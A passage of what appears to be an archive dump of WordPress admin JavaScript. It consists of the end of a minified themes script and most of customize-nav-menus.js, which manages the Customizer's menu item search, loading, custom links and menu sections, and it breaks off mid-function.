o.view.Installer({section:"popular",SearchView:o.view.InstallerSearch}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this,i={};o.router=new o.InstallerRouter,o.router.on("route:preview",function(e){o.preview&&(o.preview.undelegateEvents(),o.preview.unbind()),t.view.view.theme&&t.view.view.theme.preview?(t.view.view.theme.model=t.view.collection.findWhere({slug:e}),t.view.view.theme.preview()):(i.theme=e,t.view.collection.query(i),t.view.collection.trigger("update"),t.view.collection.once("query:success",function(){n('div[data-slug="'+e+'"]').trigger("click")}))}),o.router.on("route:sort",function(e){e||(e="popular",o.router.navigate(o.router.baseUrl("?browse=popular"),{replace:!0})),t.view.sort(e),o.preview&&o.preview.close()}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("focus").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},n(function(){(o.isInstall?o.RunInstaller:o.Run).init(),n(document.body).on("click",".load-customize",function(){var e=n(this),t=document.createElement("a");t.href=e.prop("href"),t.search=n.param(_.extend(wp.customize.utils.parseQueryString(t.search.substr(1)),{return:window.location.href})),e.prop("href",t.href)}),n(".broken-themes .delete-theme").on("click",function(){return confirm(_wpThemeSettings.settings.confirmDelete)})})}(jQuery),jQuery(function(r){window.tb_position=function(){var e=r("#TB_window"),t=r(window).width(),i=r(window).height(),t=1040<t?1040:t,s=0;r("#wpadminbar").length&&(s=parseInt(r("#wpadminbar").css("height"),10)),1<=e.length&&(e.width(t-50).height(i-45-s),r("#TB_iframeContent").width(t-50).height(i-75-s),e.css({"margin-left":"-"+parseInt((t-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&e.css({top:20+s+"px","margin-top":"0"})},r(window).on("resize",function(){tb_position()})}); customize-nav-menus.js 0000644 00000336727 15174417325 0011066 0 ustar 00 /** * @output wp-admin/js/customize-nav-menus.js */ /* global menus, _wpCustomizeNavMenusSettings, wpNavMenu, console */ ( function( api, wp, $ ) { 'use strict'; /** * Set up wpNavMenu for drag and drop. */ wpNavMenu.originalInit = wpNavMenu.init; wpNavMenu.options.menuItemDepthPerLevel = 20; wpNavMenu.options.sortableItems = '> .customize-control-nav_menu_item'; wpNavMenu.options.targetTolerance = 10; wpNavMenu.init = function() { this.jQueryExtensions(); }; /** * @namespace wp.customize.Menus */ api.Menus = api.Menus || {}; // Link settings. api.Menus.data = { itemTypes: [], l10n: {}, settingTransport: 'refresh', phpIntMax: 0, defaultSettingValues: { nav_menu: {}, nav_menu_item: {} }, locationSlugMappedToName: {} }; if ( 'undefined' !== typeof _wpCustomizeNavMenusSettings ) { $.extend( api.Menus.data, _wpCustomizeNavMenusSettings ); } /** * Newly-created Nav Menus and Nav Menu Items have negative integer IDs which * serve as placeholders until Save & Publish happens. * * @alias wp.customize.Menus.generatePlaceholderAutoIncrementId * * @return {number} */ api.Menus.generatePlaceholderAutoIncrementId = function() { return -Math.ceil( api.Menus.data.phpIntMax * Math.random() ); }; /** * wp.customize.Menus.AvailableItemModel * * A single available menu item model. See PHP's WP_Customize_Nav_Menu_Item_Setting class. * * @class wp.customize.Menus.AvailableItemModel * @augments Backbone.Model */ api.Menus.AvailableItemModel = Backbone.Model.extend( $.extend( { id: null // This is only used by Backbone. }, api.Menus.data.defaultSettingValues.nav_menu_item ) ); /** * wp.customize.Menus.AvailableItemCollection * * Collection for available menu item models. * * @class wp.customize.Menus.AvailableItemCollection * @augments Backbone.Collection */ api.Menus.AvailableItemCollection = Backbone.Collection.extend(/** @lends wp.customize.Menus.AvailableItemCollection.prototype */{ model: api.Menus.AvailableItemModel, sort_key: 'order', comparator: function( item ) { return -item.get( this.sort_key ); }, sortByField: function( fieldName ) { this.sort_key = fieldName; this.sort(); } }); api.Menus.availableMenuItems = new api.Menus.AvailableItemCollection( api.Menus.data.availableMenuItems ); /** * Insert a new `auto-draft` post. * * @since 4.7.0 * @alias wp.customize.Menus.insertAutoDraftPost * * @param {Object} params - Parameters for the draft post to create. * @param {string} params.post_type - Post type to add. * @param {string} params.post_title - Post title to use. * @return {jQuery.promise} Promise resolved with the added post. */ api.Menus.insertAutoDraftPost = function insertAutoDraftPost( params ) { var request, deferred = $.Deferred(); request = wp.ajax.post( 'customize-nav-menus-insert-auto-draft', { 'customize-menus-nonce': api.settings.nonce['customize-menus'], 'wp_customize': 'on', 'customize_changeset_uuid': api.settings.changeset.uuid, 'params': params } ); request.done( function( response ) { if ( response.post_id ) { api( 'nav_menus_created_posts' ).set( api( 'nav_menus_created_posts' ).get().concat( [ response.post_id ] ) ); if ( 'page' === params.post_type ) { // Activate static front page controls as this could be the first page created. if ( api.section.has( 'static_front_page' ) ) { api.section( 'static_front_page' ).activate(); } // Add new page to dropdown-pages controls. api.control.each( function( control ) { var select; if ( 'dropdown-pages' === control.params.type ) { select = control.container.find( 'select[name^="_customize-dropdown-pages-"]' ); select.append( new Option( params.post_title, response.post_id ) ); } } ); } deferred.resolve( response ); } } ); request.fail( function( response ) { var error = response || ''; if ( 'undefined' !== typeof response.message ) { error = response.message; } console.error( error ); deferred.rejectWith( error ); } ); return deferred.promise(); }; api.Menus.AvailableMenuItemsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Menus.AvailableMenuItemsPanelView.prototype */{ el: '#available-menu-items', events: { 'input #menu-items-search': 'debounceSearch', 'focus .menu-item-tpl': 'focus', 'click .menu-item-tpl': '_submit', 'click #custom-menu-item-submit': '_submitLink', 'keypress #custom-menu-item-name': '_submitLink', 'click .new-content-item .add-content': '_submitNew', 'keypress .create-item-input': '_submitNew', 'keydown': 'keyboardAccessible' }, // Cache current selected menu item. selected: null, // Cache menu control that opened the panel. currentMenuControl: null, debounceSearch: null, $search: null, $clearResults: null, searchTerm: '', rendered: false, pages: {}, sectionContent: '', loading: false, addingNew: false, /** * wp.customize.Menus.AvailableMenuItemsPanelView * * View class for the available menu items panel. * * @constructs wp.customize.Menus.AvailableMenuItemsPanelView * @augments wp.Backbone.View */ initialize: function() { var self = this; if ( ! api.panel.has( 'nav_menus' ) ) { return; } this.$search = $( '#menu-items-search' ); this.$clearResults = this.$el.find( '.clear-results' ); this.sectionContent = this.$el.find( '.available-menu-items-list' ); this.debounceSearch = _.debounce( self.search, 500 ); _.bindAll( this, 'close' ); /* * If the available menu items panel is open and the customize controls * are interacted with (other than an item being deleted), then close * the available menu items panel. Also close on back button click. */ $( '#customize-controls, .customize-section-back' ).on( 'click keydown', function( e ) { var isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ), isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' ); if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) { self.close(); } } ); // Clear the search results and trigger an `input` event to fire a new search. this.$clearResults.on( 'click', function() { self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' ); } ); this.$el.on( 'input', '#custom-menu-item-name.invalid, #custom-menu-item-url.invalid', function() { $( this ).removeClass( 'invalid' ); var errorMessageId = $( this ).attr( 'aria-describedby' ); $( '#' + errorMessageId ).hide(); $( this ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' ); }); // Load available items if it looks like we'll need them. api.panel( 'nav_menus' ).container.on( 'expanded', function() { if ( ! self.rendered ) { self.initList(); self.rendered = true; } }); // Load more items. this.sectionContent.on( 'scroll', function() { var totalHeight = self.$el.find( '.accordion-section.open .available-menu-items-list' ).prop( 'scrollHeight' ), visibleHeight = self.$el.find( '.accordion-section.open' ).height(); if ( ! self.loading && $( this ).scrollTop() > 3 / 4 * totalHeight - visibleHeight ) { var type = $( this ).data( 'type' ), object = $( this ).data( 'object' ); if ( 'search' === type ) { if ( self.searchTerm ) { self.doSearch( self.pages.search ); } } else { self.loadItems( [ { type: type, object: object } ] ); } } }); // Close the panel if the URL in the preview changes. api.previewer.bind( 'url', this.close ); self.delegateEvents(); }, // Search input change handler. search: function( event ) { var $searchSection = $( '#available-menu-items-search' ), $otherSections = $( '#available-menu-items .accordion-section' ).not( $searchSection ); if ( ! event ) { return; } if ( this.searchTerm === event.target.value ) { return; } if ( '' !== event.target.value && ! $searchSection.hasClass( 'open' ) ) { $otherSections.fadeOut( 100 ); $searchSection.find( '.accordion-section-content' ).slideDown( 'fast' ); $searchSection.addClass( 'open' ); this.$clearResults.addClass( 'is-visible' ); } else if ( '' === event.target.value ) { $searchSection.removeClass( 'open' ); $otherSections.show(); this.$clearResults.removeClass( 'is-visible' ); } this.searchTerm = event.target.value; this.pages.search = 1; this.doSearch( 1 ); }, // Get search results. doSearch: function( page ) { var self = this, params, $section = $( '#available-menu-items-search' ), $content = $section.find( '.accordion-section-content' ), itemTemplate = wp.template( 'available-menu-item' ); if ( self.currentRequest ) { self.currentRequest.abort(); } if ( page < 0 ) { return; } else if ( page > 1 ) { $section.addClass( 'loading-more' ); $content.attr( 'aria-busy', 'true' ); wp.a11y.speak( api.Menus.data.l10n.itemsLoadingMore ); } else if ( '' === self.searchTerm ) { $content.html( '' ); wp.a11y.speak( '' ); return; } $section.addClass( 'loading' ); self.loading = true; params = api.previewer.query( { excludeCustomizedSaved: true } ); _.extend( params, { 'customize-menus-nonce': api.settings.nonce['customize-menus'], 'wp_customize': 'on', 'search': self.searchTerm, 'page': page } ); self.currentRequest = wp.ajax.post( 'search-available-menu-items-customizer', params ); self.currentRequest.done(function( data ) { var items; if ( 1 === page ) { // Clear previous results as it's a new search. $content.empty(); } $section.removeClass( 'loading loading-more' ); $content.attr( 'aria-busy', 'false' ); $section.addClass( 'open' ); self.loading = false; items = new api.Menus.AvailableItemCollection( data.items ); self.collection.add( items.models ); items.each( function( menuItem ) { $content.append( itemTemplate( menuItem.attributes ) ); } ); if ( 20 > items.length ) { self.pages.search = -1; // Up to 20 posts and 20 terms in results, if <20, no more results for either. } else { self.pages.search = self.pages.search + 1; } if ( items && page > 1 ) { wp.a11y.speak( api.Menus.data.l10n.itemsFoundMore.replace( '%d', items.length ) ); } else if ( items && page === 1 ) { wp.a11y.speak( api.Menus.data.l10n.itemsFound.replace( '%d', items.length ) ); } }); self.currentRequest.fail(function( data ) { // data.message may be undefined, for example when typing slow and the request is aborted. if ( data.message ) { $content.empty().append( $( '<li class="nothing-found"></li>' ).text( data.message ) ); wp.a11y.speak( data.message ); } self.pages.search = -1; }); self.currentRequest.always(function() { $section.removeClass( 'loading loading-more' ); $content.attr( 'aria-busy', 'false' ); self.loading = false; self.currentRequest = null; }); }, // Render the individual items. initList: function() { var self = this; // Render the template for each item by type. _.each( api.Menus.data.itemTypes, function( itemType ) { self.pages[ itemType.type + ':' + itemType.object ] = 0; } ); self.loadItems( api.Menus.data.itemTypes ); }, /** * Load available nav menu items. * * @since 4.3.0 * @since 4.7.0 Changed function signature to take list of item types instead of single type/object. * @access private * * @param {Array.<Object>} itemTypes List of objects containing type and key. * @param {string} deprecated Formerly the object parameter. * @return {void} */ loadItems: function( itemTypes, deprecated ) { var self = this, _itemTypes, requestItemTypes = [], params, request, itemTemplate, availableMenuItemContainers = {}; itemTemplate = wp.template( 'available-menu-item' ); if ( _.isString( itemTypes ) && _.isString( deprecated ) ) { _itemTypes = [ { type: itemTypes, object: deprecated } ]; } else { _itemTypes = itemTypes; } _.each( _itemTypes, function( itemType ) { var container, name = itemType.type + ':' + itemType.object; if ( -1 === self.pages[ name ] ) { return; // Skip types for which there are no more results. } container = $( '#available-menu-items-' + itemType.type + '-' + itemType.object ); container.find( '.accordion-section-title' ).addClass( 'loading' ); availableMenuItemContainers[ name ] = container; requestItemTypes.push( { object: itemType.object, type: itemType.type, page: self.pages[ name ] } ); } ); if ( 0 === requestItemTypes.length ) { return; } self.loading = true; params = api.previewer.query( { excludeCustomizedSaved: true } ); _.extend( params, { 'customize-menus-nonce': api.settings.nonce['customize-menus'], 'wp_customize': 'on', 'item_types': requestItemTypes } ); request = wp.ajax.post( 'load-available-menu-items-customizer', params ); request.done(function( data ) { var typeInner; _.each( data.items, function( typeItems, name ) { if ( 0 === typeItems.length ) { if ( 0 === self.pages[ name ] ) { availableMenuItemContainers[ name ].find( '.accordion-section-title' ) .addClass( 'cannot-expand' ) .removeClass( 'loading' ) .find( '.accordion-section-title > button' ) .prop( 'tabIndex', -1 ); } self.pages[ name ] = -1; return; } else if ( ( 'post_type:page' === name ) && ( ! availableMenuItemContainers[ name ].hasClass( 'open' ) ) ) { availableMenuItemContainers[ name ].find( '.accordion-section-title > button' ).trigger( 'click' ); } typeItems = new api.Menus.AvailableItemCollection( typeItems ); // @todo Why is this collection created and then thrown away? self.collection.add( typeItems.models ); typeInner = availableMenuItemContainers[ name ].find( '.available-menu-items-list' ); typeItems.each( function( menuItem ) { typeInner.append( itemTemplate( menuItem.attributes ) ); } ); self.pages[ name ] += 1; }); }); request.fail(function( data ) { if ( typeof console !== 'undefined' && console.error ) { console.error( data ); } }); request.always(function() { _.each( availableMenuItemContainers, function( container ) { container.find( '.accordion-section-title' ).removeClass( 'loading' ); } ); self.loading = false; }); }, // Adjust the height of each section of items to fit the screen. itemSectionHeight: function() { var sections, lists, totalHeight, accordionHeight, diff; totalHeight = window.innerHeight; sections = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .accordion-section-content' ); lists = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")' ); accordionHeight = 46 * ( 1 + sections.length ) + 14; // Magic numbers. diff = totalHeight - accordionHeight; if ( 120 < diff && 290 > diff ) { sections.css( 'max-height', diff ); lists.css( 'max-height', ( diff - 60 ) ); } }, // Highlights a menu item. select: function( menuitemTpl ) { this.selected = $( menuitemTpl ); this.selected.siblings( '.menu-item-tpl' ).removeClass( 'selected' ); this.selected.addClass( 'selected' ); }, // Highlights a menu item on focus. focus: function( event ) { this.select( $( event.currentTarget ) ); }, // Submit handler for keypress and click on menu item. _submit: function( event ) { // Only proceed with keypress if it is Enter or Spacebar. if ( 'keypress' === event.type && ( 13 !== event.which && 32 !== event.which ) ) { return; } this.submit( $( event.currentTarget ) ); }, // Adds a selected menu item to the menu. submit: function( menuitemTpl ) { var menuitemId, menu_item; if ( ! menuitemTpl ) { menuitemTpl = this.selected; } if ( ! menuitemTpl || ! this.currentMenuControl ) { return; } this.select( menuitemTpl ); menuitemId = $( this.selected ).data( 'menu-item-id' ); menu_item = this.collection.findWhere( { id: menuitemId } ); if ( ! menu_item ) { return; } // Leave the title as empty to reuse the original title as a placeholder if set. var nav_menu_item = Object.assign( {}, menu_item.attributes ); if ( nav_menu_item.title === nav_menu_item.original_title ) { nav_menu_item.title = ''; } this.currentMenuControl.addItemToMenu( nav_menu_item ); $( menuitemTpl ).find( '.menu-item-handle' ).addClass( 'item-added' ); }, // Submit handler for keypress and click on custom menu item. _submitLink: function( event ) { // Only proceed with keypress if it is Enter. if ( 'keypress' === event.type && 13 !== event.which ) { return; } this.submitLink(); }, // Adds the custom menu item to the menu. submitLink: function() { var menuItem, itemName = $( '#custom-menu-item-name' ), itemUrl = $( '#custom-menu-item-url' ), urlErrorMessage = $( '#custom-url-error' ), nameErrorMessage = $( '#custom-name-error' ), url = itemUrl.val().trim(), urlRegex, errorText; if ( ! this.currentMenuControl ) { return; } /* * Allow URLs including: * - http://example.com/ * - //example.com * - /directory/ * - ?query-param * - #target * - mailto:foo@example.com * * Any further validation will be handled on the server when the setting is attempted to be saved, * so this pattern does not need to be complete. */ urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/; if ( ! urlRegex.test( url ) || '' === itemName.val() ) { if ( ! urlRegex.test( url ) ) { itemUrl.addClass( 'invalid' ) .attr( 'aria-invalid', 'true' ) .attr( 'aria-describedby', 'custom-url-error' ); urlErrorMessage.show(); errorText = urlErrorMessage.text(); // Announce error message via screen reader wp.a11y.speak( errorText, 'assertive' ); } if ( '' === itemName.val() ) { itemName.addClass( 'invalid' ) .attr( 'aria-invalid', 'true' ) .attr( 'aria-describedby', 'custom-name-error' ); nameErrorMessage.show(); errorText = ( '' === errorText ) ? nameErrorMessage.text() : errorText + nameErrorMessage.text(); // Announce error message via screen reader wp.a11y.speak( errorText, 'assertive' ); } return; } urlErrorMessage.hide(); nameErrorMessage.hide(); itemName.removeClass( 'invalid' ) .removeAttr( 'aria-invalid', 'true' ) .removeAttr( 'aria-describedby', 'custom-name-error' ); itemUrl.removeClass( 'invalid' ) .removeAttr( 'aria-invalid', 'true' ) .removeAttr( 'aria-describedby', 'custom-name-error' ); menuItem = { 'title': itemName.val(), 'url': url, 'type': 'custom', 'type_label': api.Menus.data.l10n.custom_label, 'object': 'custom' }; this.currentMenuControl.addItemToMenu( menuItem ); // Reset the custom link form. itemUrl.val( '' ).attr( 'placeholder', 'https://' ); itemName.val( '' ); }, /** * Submit handler for keypress (enter) on field and click on button. * * @since 4.7.0 * @private * * @param {jQuery.Event} event Event. * @return {void} */ _submitNew: function( event ) { var container; // Only proceed with keypress if it is Enter. if ( 'keypress' === event.type && 13 !== event.which ) { return; } if ( this.addingNew ) { return; } container = $( event.target ).closest( '.accordion-section' ); this.submitNew( container ); }, /** * Creates a new object and adds an associated menu item to the menu. * * @since 4.7.0 * @private * * @param {jQuery} container * @return {void} */ submitNew: function( container ) { var panel = this, itemName = container.find( '.create-item-input' ), title = itemName.val(), dataContainer = container.find( '.available-menu-items-list' ), itemType = dataContainer.data( 'type' ), itemObject = dataContainer.data( 'object' ), itemTypeLabel = dataContainer.data( 'type_label' ), inputError = container.find('.create-item-error'), promise; if ( ! this.currentMenuControl ) { return; } // Only posts are supported currently. if ( 'post_type' !== itemType ) { return; } if ( '' === itemName.val().trim() ) { container.addClass( 'form-invalid' ); itemName.attr('aria-invalid', 'true'); itemName.attr('aria-describedby', inputError.attr('id')); inputError.slideDown( 'fast' ); wp.a11y.speak( inputError.text() ); return; } else { container.removeClass( 'form-invalid' ); itemName.attr('aria-invalid', 'false'); itemName.removeAttr('aria-describedby'); inputError.hide(); container.find( '.accordion-section-title' ).addClass( 'loading' ); } panel.addingNew = true; itemName.attr( 'disabled', 'disabled' ); promise = api.Menus.insertAutoDraftPost( { post_title: title, post_type: itemObject } ); promise.done( function( data ) { var availableItem, $content, itemElement; availableItem = new api.Menus.AvailableItemModel( { 'id': 'post-' + data.post_id, // Used for available menu item Backbone models. 'title': itemName.val(), 'type': itemType, 'type_label': itemTypeLabel, 'object': itemObject, 'object_id': data.post_id, 'url': data.url } ); // Add new item to menu. panel.currentMenuControl.addItemToMenu( availableItem.attributes ); // Add the new item to the list of available items. api.Menus.availableMenuItemsPanel.collection.add( availableItem ); $content = container.find( '.available-menu-items-list' ); itemElement = $( wp.template( 'available-menu-item' )( availableItem.attributes ) ); itemElement.find( '.menu-item-handle:first' ).addClass( 'item-added' ); $content.prepend( itemElement ); $content.scrollTop(); // Reset the create content form. itemName.val( '' ).removeAttr( 'disabled' ); panel.addingNew = false; container.find( '.accordion-section-title' ).removeClass( 'loading' ); } ); }, // Opens the panel. open: function( menuControl ) { var panel = this, close; this.currentMenuControl = menuControl; this.itemSectionHeight(); if ( api.section.has( 'publish_settings' ) ) { api.section( 'publish_settings' ).collapse(); } $( 'body' ).addClass( 'adding-menu-items' ); close = function() { panel.close(); $( this ).off( 'click', close ); }; $( '#customize-preview' ).on( 'click', close ); // Collapse all controls. _( this.currentMenuControl.getMenuItemControls() ).each( function( control ) { control.collapseForm(); } ); this.$el.find( '.selected' ).removeClass( 'selected' ); this.$search.trigger( 'focus' ); }, // Closes the panel. close: function( options ) { options = options || {}; if ( options.returnFocus && this.currentMenuControl ) { this.currentMenuControl.container.find( '.add-new-menu-item' ).focus(); } this.currentMenuControl = null; this.selected = null; $( 'body' ).removeClass( 'adding-menu-items' ); $( '#available-menu-items .menu-item-handle.item-added' ).removeClass( 'item-added' ); this.$search.val( '' ).trigger( 'input' ); }, // Add a few keyboard enhancements to the panel. keyboardAccessible: function( event ) { var isEnter = ( 13 === event.which ), isEsc = ( 27 === event.which ), isBackTab = ( 9 === event.which && event.shiftKey ), isSearchFocused = $( event.target ).is( this.$search ); // If enter pressed but nothing entered, don't do anything. if ( isEnter && ! this.$search.val() ) { return; } if ( isSearchFocused && isBackTab ) { this.currentMenuControl.container.find( '.add-new-menu-item' ).focus(); event.preventDefault(); // Avoid additional back-tab. } else if ( isEsc ) { this.close( { returnFocus: true } ); } } }); /** * wp.customize.Menus.MenusPanel * * Customizer panel for menus. This is used only for screen options management. * Note that 'menus' must match the WP_Customize_Menu_Panel::$type. * * @class wp.customize.Menus.MenusPanel * @augments wp.customize.Panel */ api.Menus.MenusPanel = api.Panel.extend(/** @lends wp.customize.Menus.MenusPanel.prototype */{ attachEvents: function() { api.Panel.prototype.attachEvents.call( this ); var panel = this, panelMeta = panel.container.find( '.panel-meta' ), help = panelMeta.find( '.customize-help-toggle' ), content = panelMeta.find( '.customize-panel-description' ), options = $( '#screen-options-wrap' ), button = panelMeta.find( '.customize-screen-options-toggle' ); button.on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); // Hide description. if ( content.not( ':hidden' ) ) { content.slideUp( 'fast' ); help.attr( 'aria-expanded', 'false' ); } if ( 'true' === button.attr( 'aria-expanded' ) ) { button.attr( 'aria-expanded', 'false' ); panelMeta.removeClass( 'open' ); panelMeta.removeClass( 'active-menu-screen-options' ); options.slideUp( 'fast' ); } else { button.attr( 'aria-expanded', 'true' ); panelMeta.addClass( 'open' ); panelMeta.addClass( 'active-menu-screen-options' ); options.slideDown( 'fast' ); } return false; } ); // Help toggle. help.on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); if ( 'true' === button.attr( 'aria-expanded' ) ) { button.attr( 'aria-expanded', 'false' ); help.attr( 'aria-expanded', 'true' ); panelMeta.addClass( 'open' ); panelMeta.removeClass( 'active-menu-screen-options' ); options.slideUp( 'fast' ); content.slideDown( 'fast' ); } } ); }, /** * Update field visibility when clicking on the field toggles. */ ready: function() { var panel = this; panel.container.find( '.hide-column-tog' ).on( 'click', function() { panel.saveManageColumnsState(); }); // Inject additional heading into the menu locations section's head container. api.section( 'menu_locations', function( section ) { section.headContainer.prepend( wp.template( 'nav-menu-locations-header' )( api.Menus.data ) ); } ); }, /** * Save hidden column states. * * @since 4.3.0 * @private * * @return {void} */ saveManageColumnsState: _.debounce( function() { var panel = this; if ( panel._updateHiddenColumnsRequest ) { panel._updateHiddenColumnsRequest.abort(); } panel._updateHiddenColumnsRequest = wp.ajax.post( 'hidden-columns', { hidden: panel.hidden(), screenoptionnonce: $( '#screenoptionnonce' ).val(), page: 'nav-menus' } ); panel._updateHiddenColumnsRequest.always( function() { panel._updateHiddenColumnsRequest = null; } ); }, 2000 ), /** * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers. */ checked: function() {}, /** * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers. */ unchecked: function() {}, /** * Get hidden fields. * * @since 4.3.0 * @private * * @return {Array} Fields (columns) that are hidden. */ hidden: function() { return $( '.hide-column-tog' ).not( ':checked' ).map( function() { var id = this.id; return id.substring( 0, id.length - 5 ); }).get().join( ',' ); } } ); /** * wp.customize.Menus.MenuSection * * Customizer section for menus. This is used only for lazy-loading child controls. * Note that 'nav_menu' must match the WP_Customize_Menu_Section::$type. * * @class wp.customize.Menus.MenuSection * @augments wp.customize.Section */ api.Menus.MenuSection = api.Section.extend(/** @lends wp.customize.Menus.MenuSection.prototype */{ /** * Initialize. * * @since 4.3.0 * * @param {string} id * @param {Object} options */ initialize: function( id, options ) { var section = this; api.Section.prototype.initialize.call( section, id, options ); section.deferred.initSortables = $.Deferred(); }, /** * Ready. */ ready: function() { var section = this, fieldActiveToggles, handleFieldActiveToggle; if ( 'undefined' === typeof section.params.menu_id ) { throw new Error( 'params.menu_id was not defined' ); } /* * Since newly created sections won't be registered in PHP, we need to prevent the * preview's sending of the activeSections to result in this control * being deactivated when the preview refreshes. So we can hook onto * the setting that has the same ID and its presence can dictate * whether the section is active. */ section.active.validate = function() { if ( ! api.has( section.id ) ) { return false; } return !! api( section.id ).get(); }; section.populateControls(); section.navMenuLocationSettings = {}; section.assignedLocations = new api.Value( [] ); api.each(function( setting, id ) { var matches = id.match( /^nav_menu_locations\[(.+?)]/ ); if ( matches ) { section.navMenuLocationSettings[ matches[1] ] = setting; setting.bind( function() { section.refreshAssignedLocations(); }); } }); section.assignedLocations.bind(function( to ) { section.updateAssignedLocationsInSectionTitle( to ); }); section.refreshAssignedLocations(); api.bind( 'pane-contents-reflowed', function() { // Skip menus that have been removed. if ( ! section.contentContainer.parent().length ) { return; } section.container.find( '.menu-item .menu-item-reorder-nav button' ).attr({ 'tabindex': '0', 'aria-hidden': 'false' }); section.container.find( '.menu-item.move-up-disabled .menus-move-up' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); section.container.find( '.menu-item.move-down-disabled .menus-move-down' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); section.container.find( '.menu-item.move-left-disabled .menus-move-left' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); section.container.find( '.menu-item.move-right-disabled .menus-move-right' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); } ); /** * Update the active field class for the content container for a given checkbox toggle. * * @this {jQuery} * @return {void} */ handleFieldActiveToggle = function() { var className = 'field-' + $( this ).val() + '-active'; section.contentContainer.toggleClass( className, $( this ).prop( 'checked' ) ); }; fieldActiveToggles = api.panel( 'nav_menus' ).contentContainer.find( '.metabox-prefs:first' ).find( '.hide-column-tog' ); fieldActiveToggles.each( handleFieldActiveToggle ); fieldActiveToggles.on( 'click', handleFieldActiveToggle ); }, populateControls: function() { var section = this, menuNameControlId, menuLocationsControlId, menuAutoAddControlId, menuDeleteControlId, menuControl, menuNameControl, menuLocationsControl, menuAutoAddControl, menuDeleteControl; // Add the control for managing the menu name. menuNameControlId = section.id + '[name]'; menuNameControl = api.control( menuNameControlId ); if ( ! menuNameControl ) { menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, { type: 'nav_menu_name', label: api.Menus.data.l10n.menuNameLabel, section: section.id, priority: 0, settings: { 'default': section.id } } ); api.control.add( menuNameControl ); menuNameControl.active.set( true ); } // Add the menu control. menuControl = api.control( section.id ); if ( ! menuControl ) { menuControl = new api.controlConstructor.nav_menu( section.id, { type: 'nav_menu', section: section.id, priority: 998, settings: { 'default': section.id }, menu_id: section.params.menu_id } ); api.control.add( menuControl ); menuControl.active.set( true ); } // Add the menu locations control. menuLocationsControlId = section.id + '[locations]'; menuLocationsControl = api.control( menuLocationsControlId ); if ( ! menuLocationsControl ) { menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, { section: section.id, priority: 999, settings: { 'default': section.id }, menu_id: section.params.menu_id } ); api.control.add( menuLocationsControl.id, menuLocationsControl ); menuControl.active.set( true ); } // Add the control for managing the menu auto_add. menuAutoAddControlId = section.id + '[auto_add]'; menuAutoAddControl = api.control( menuAutoAddControlId ); if ( ! menuAutoAddControl ) { menuAutoAddControl = new api.controlConstructor.nav_menu_auto_add( menuAutoAddControlId, { type: 'nav_menu_auto_add', label: '', section: section.id, priority: 1000, settings: { 'default': section.id } } ); api.control.add( menuAutoAddControl ); menuAutoAddControl.active.set( true ); } // Add the control for deleting the menu. menuDeleteControlId = section.id + '[delete]'; menuDeleteControl = api.control( menuDeleteControlId ); if ( ! menuDeleteControl ) { menuDeleteControl = new api.Control( menuDeleteControlId, { section: section.id, priority: 1001, templateId: 'nav-menu-delete-button' } ); api.control.add( menuDeleteControl.id, menuDeleteControl ); menuDeleteControl.active.set( true ); menuDeleteControl.deferred.embedded.done( function () { menuDeleteControl.container.find( 'button' ).on( 'click', function() { var menuId = section.params.menu_id; var menuControl = api.Menus.getMenuControl( menuId ); menuControl.setting.set( false ); }); } ); } }, /** * */ refreshAssignedLocations: function() { var section = this, menuTermId = section.params.menu_id, currentAssignedLocations = []; _.each( section.navMenuLocationSettings, function( setting, themeLocation ) { if ( setting() === menuTermId ) { currentAssignedLocations.push( themeLocation ); } }); section.assignedLocations.set( currentAssignedLocations ); }, /** * @param {Array} themeLocationSlugs Theme location slugs. */ updateAssignedLocationsInSectionTitle: function( themeLocationSlugs ) { var section = this, $title; $title = section.container.find( '.accordion-section-title button:first' ); $title.find( '.menu-in-location' ).remove(); _.each( themeLocationSlugs, function( themeLocationSlug ) { var $label, locationName; $label = $( '<span class="menu-in-location"></span>' ); locationName = api.Menus.data.locationSlugMappedToName[ themeLocationSlug ]; $label.text( api.Menus.data.l10n.menuLocation.replace( '%s', locationName ) ); $title.append( $label ); }); section.container.toggleClass( 'assigned-to-menu-location', 0 !== themeLocationSlugs.length ); }, onChangeExpanded: function( expanded, args ) { var section = this, completeCallback; if ( expanded ) { wpNavMenu.menuList = section.contentContainer; wpNavMenu.targetList = wpNavMenu.menuList; // Add attributes needed by wpNavMenu. $( '#menu-to-edit' ).removeAttr( 'id' ); wpNavMenu.menuList.attr( 'id', 'menu-to-edit' ).addClass( 'menu' ); api.Menus.MenuItemControl.prototype.initAccessibility(); _.each( api.section( section.id ).controls(), function( control ) { if ( 'nav_menu_item' === control.params.type ) { control.actuallyEmbed(); } } ); // Make sure Sortables is initialized after the section has been expanded to prevent `offset` issues. if ( args.completeCallback ) { completeCallback = args.completeCallback; } args.completeCallback = function() { if ( 'resolved' !== section.deferred.initSortables.state() ) { wpNavMenu.initSortables(); // Depends on menu-to-edit ID being set above. 